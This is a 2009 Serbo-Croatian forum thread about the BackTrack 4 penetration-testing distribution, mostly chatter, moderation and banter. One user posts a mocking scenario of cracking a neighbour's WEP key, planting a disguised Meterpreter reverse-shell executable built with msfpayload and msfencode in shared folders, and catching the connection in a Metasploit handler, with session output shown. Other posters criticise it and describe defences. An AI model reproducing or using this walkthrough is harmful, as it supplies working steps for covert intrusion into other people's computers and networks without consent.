BackTrack 4 PreFinal - public release!!!

Remote Exploit tim je objavio javno BackTrack 4 PreFinal verziju. Vise o tome na http://www.offensive-security....l-public-release-and-download/

Uzivajte! :)

remote-exploit.org team

Potpis

https://www.fruitware.ae

...skida se
...nego ljudi shta vi radite sa ovim bt? ...igra li se neko?

Potpis

...random starlight meets a blind eye
seeking undiscovered self-importance ...
pleasant distance finds me still
slighly awaiting what is getting closer...

Pa kad downloadujes i narezes BT na disk ili stavis na USB, postajes automatski haker... ;)

Potpis

oligofrenolog

^^ i onda možeš da 'akuješ sam sebe

Potpis

SUDO is your best friend, whit him... u can do anything!

I sto bi rek'o Rambo mozes da uhakujes u windowz 32 bitni sistem

...nego momci mnogo se vi zezate ovde
ipak su ovo ozbiljne teme ...sad kao smajliji belji tu ...e

...ima li nekog ko se shetkao po gradu sa bt.om ...igao se u promiskuitetnom modu sa komshilukom ?

...malo da nam ispricha iskustva

p.s nisam chitao pravila foruma, pa eto i ' pseudo ' situacije su dobrodoshle

Potpis

...random starlight meets a blind eye
seeking undiscovered self-importance ...
pleasant distance finds me still
slighly awaiting what is getting closer...

http://www.elitesecurity.org/o/pravilnik/korisnici/

Potpis

make love - !war

Ok, da ne bi doslo do lockovanja teme, koja u principu ne mora biti lockovana,
odmah da napomenem da ce price o "hakovanju komsijinog wireless-a" i slicno
biti dalje brisane (tj, postovi).

Izasla je nova verzija BT-a, i diskusija se moze voditi o tome sta je sve ukljuceno
u novi BT, koje su verzije programa, sa kojim novim opcijama, sta je ispravljeno od propusta, itd.

Pozdrav.

Potpis

oligofrenolog

...u pravilniku ne pishe nishta shto bi zabranjivalo tekstove o iskustvima prilikom penetration test.a mreze ...da se ne bi igrali machke i misha i da uz svaku rechenicu ubacujem .legalno uz dozvolu vlasnika itd.

...hm mislim da sam negde video kako sliche teme gube smisao .mislim, bash zbog dosadnih razgovora bez praktichnih primera

...razmena iskustva, interakcija ...mislim da je to pravi nachin da se uchi ...oni koji imaju znanja u nekoj oblasti delili bi sa drugima ...ozbiljnije teme bi se priblizile ljudima koji zele da uche i lakshe bi savladjivali prepreke i logika razmishljanja na datu temu bi se okrenula u pravom smeru

...lepo je to shto je izashao bt4 ...ali shta sa time? ...samo pozeleh malo da chachnem i razmrdam ovu temu
...nja

Potpis

...random starlight meets a blind eye
seeking undiscovered self-importance ...
pleasant distance finds me still
slighly awaiting what is getting closer...

Kolega sa Vise je ispitivao ranjivosti WiFi mreza po BG-u pomocu BT-a, cak mislim da je iz predmeta SRM bio seminarski na tu temu koliko se secam da je Pleska nesto tako spomenuo.

Zgodan skup alata objedinjenih na jednom mestu.

Potpis

And all you touch and all you see
Is all your life will ever be
---Δ==

Neugodna istina - reaguj! | Linux is not Windows

Najteze je hakovati 127.0.0.1 ;)

...eto neshto zanimljivo
...treba potraziti taj rad


...nekako je uvek tu :) ...pojavljuje se u velikom broju knjiga i tutorijala ...video tutorijala ...gde su praktichni primeri tu je uvek ...dobro je kad mozesh da se oslonish na distribuciju ...alate
...a i prelaz na 'ubuntu bazu' je logichan potez ...uchinice ga fleksibilnijim

Potpis

...random starlight meets a blind eye
seeking undiscovered self-importance ...
pleasant distance finds me still
slighly awaiting what is getting closer...

^ Sta ti znace ove tackice na pocetku svake recenice? Jel se to menjao pravopis ili sta?

Jel ima u tom BT alata za skeniranje/provjeru web stranica na XSS, SQL injection i slične stvari?
Imam problema sa jednim sajtom PHP/MySQL i izgleda da postoji neki propust u samom kodu.

Potpis

Beneath civilization's fragile crust, cold chaos churns...

Da, bas me zanima brojka HG520 rutera koji imaju enabled wireless a koji nisu zasticeni niti preko wpa niti preko wep-a niti preko mac access-a... Kome treba bt za to ;-)

Potpis

make love - !war

Iako ga nisam u potpunosti istrazio, bt je penetration testing OS, tako da bi reko da postoji support za to. Mada bi ti preporucio da olaksas sebi zivot i lepo uradis to sa Acunetix-om ili slicnim win-based alatom...

...evo situacije > park ispred tvoje gajbe combuster ...i tvoja wireless mreza se uklapa u tih 3%:) zashticenih mreza wep.om ili ti (wired equivalent privacy)
...da naravno imash jedan laptop i u coopatilu pored djakuzija kao i u sobi, a i tvoja mladja seka voli da iz kreveta do jutra sa viruelnim drugarima sa space.a kucka (kazu da deca sada prvo prokuckaju) na svom roze laptopu
...i tako dok ti uzivash u ispijanju vina u djakuziju i pregledanja rezultata na livescore i ne slutish da je bt u blizini:) ...tvoj wep key je razbijen (mislim da ima tone tutorijala na youtube.u kako)
...e sada imash josh jednog drugara na mrezi ...ups toliko shareovanih foldera
...ima tu svashta ...ali ipak su ozbiljnije stvari na desktopu :) ...ne bi dozvolio bash seka da chachka po svemu ...ali muzika i filmovi su tu ...par nekih programa ...na tvojoj mashini ...kod nje neke slike sa letovanja ...hm
...skenirani portovi ...nishta zanimljivo otvoreno ...sp2 je na obe upaljene mashine
...ok imam dovoljno vremena ...kafic prekoputa je skroz opushten ...cica shto radi je totalno zanimljiva ...bt user naruchuje kafu i pita za ime? ...marija

cd /pentest/exploits/framework3/

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.88
LPORT=4444 R | ./msfencode -b '' -t exe -o marijaizkaficaprekoputa.exe /* ah kako ce ti ovo zagollicati mashtu

...ovaj zanimljiv payload ce zavrshiti na jednom od tvojih shareovanih foldera a tvojoj sestri cemo prirediti malo drugachiji scenario

e sada kamp prikolica i

./msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.88
msf > set LPORT 4444
msf > exploit

...da naravno da je mogao da ode kuci i da sachekushu preusmeri ...ali ima dovoljno vremena ...marija samo jedno pitanje "da li bi volela da te neko doubleklikne" ?

msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.88:4444 -> 192.168.1.4:1187)

meterpreter >

...the end

_{[Ovu poruku je menjao Kernel-1 dana 22.06.2009. u 16:51 GMT+1]}

Potpis

...random starlight meets a blind eye
seeking undiscovered self-importance ...
pleasant distance finds me still
slighly awaiting what is getting closer...

Ima posebna sekcija za web app testing. ne bas potpuna lista alata se moze vidjeti na wiki.remote-exploit.org, i dalje se dopunjuje.

Ukoliko neko smatra da neki alat zasluzuje mjesto u backtrack-u, neka napise ovdje s obzirom da izmedju ostalog i dio repozitorijuma uredjujem.

Potpis

https://www.fruitware.ae

Ti si bre neki pacenik covece, al da ti objasnim par stvari...

Prvo to sto si napisao sad pali na totalnim idiotima kojih ne sumnjam ima dosta...

Da bi razbio moj wireless moras prvo da dodjes da mi pokucas na vrata sa shotgun-om u ruci i pod pretpostavkom da ti nece zavrsiti tamo gde sunce ne sija treba da nadjes moj wireless ruter, da pritisnes dugmence sa hemijskom olovkom i da pobegnes... Koliko te noge nose...

Al ajd recimo da ne koristim MAC restricted access nego WEP ili WPA i pod uslovom da bypass-ujes nekako pass ili key i da postavis marijaprekoputakafica.exe (pa i da ga sakrijes za pametne kao marija.jpg.exe i preko slicnih lame fazona) kod mene bi morao da ga pokrenem preko wine-a... Drugo treba taj tvoj exploit da zaobidje tomoyo koji ce da primeti unusual process behaviour a i ako njega zaobidje treba da mi probije firewall kroz iptables i da ti uspostavi konekciju...

ja bih rekao da bi pri ovom scenario the end tebi dosao vrlo brzo...

I molim te ne spominji bez razloga familiju drugim es userima, nije pristojno... Ovo ti pisem bez truncice flame-a jer sam se takvih kao ti navidjao u zivotu svome... A bese prodje decenija cela od kada sam sekirao nazovi hakere preko irc-a koji su isti kao i danas (samo su sa sub7 presli na bt) jer zaboga kako sme exploit koji je radio na 99% masina u to vreme da fail-uje na mojoj a sve sto sam ucio o virusima i exploitima je bilo upravo zbog ucenja kako da zastitim masine od istih, jer znas, to se za razliku od 'akovanja wifi-a u parku placa... A vidjao sam sve pa cak i "weird seagate" i "quantum nighthawk" i gomile ostalih zezancija...

/edit: obrisan odgovor na flame.

_{[Ovu poruku je menjao Kernel-1 dana 22.06.2009. u 16:53 GMT+1]}

Potpis

make love - !war

E momci, skulirajte se malo. Ovo su opustene diskusije i tu smo da razmjenimo znanje, a ne da se svadjamo i foliramo.

Potpis

Beneath civilization's fragile crust, cold chaos churns...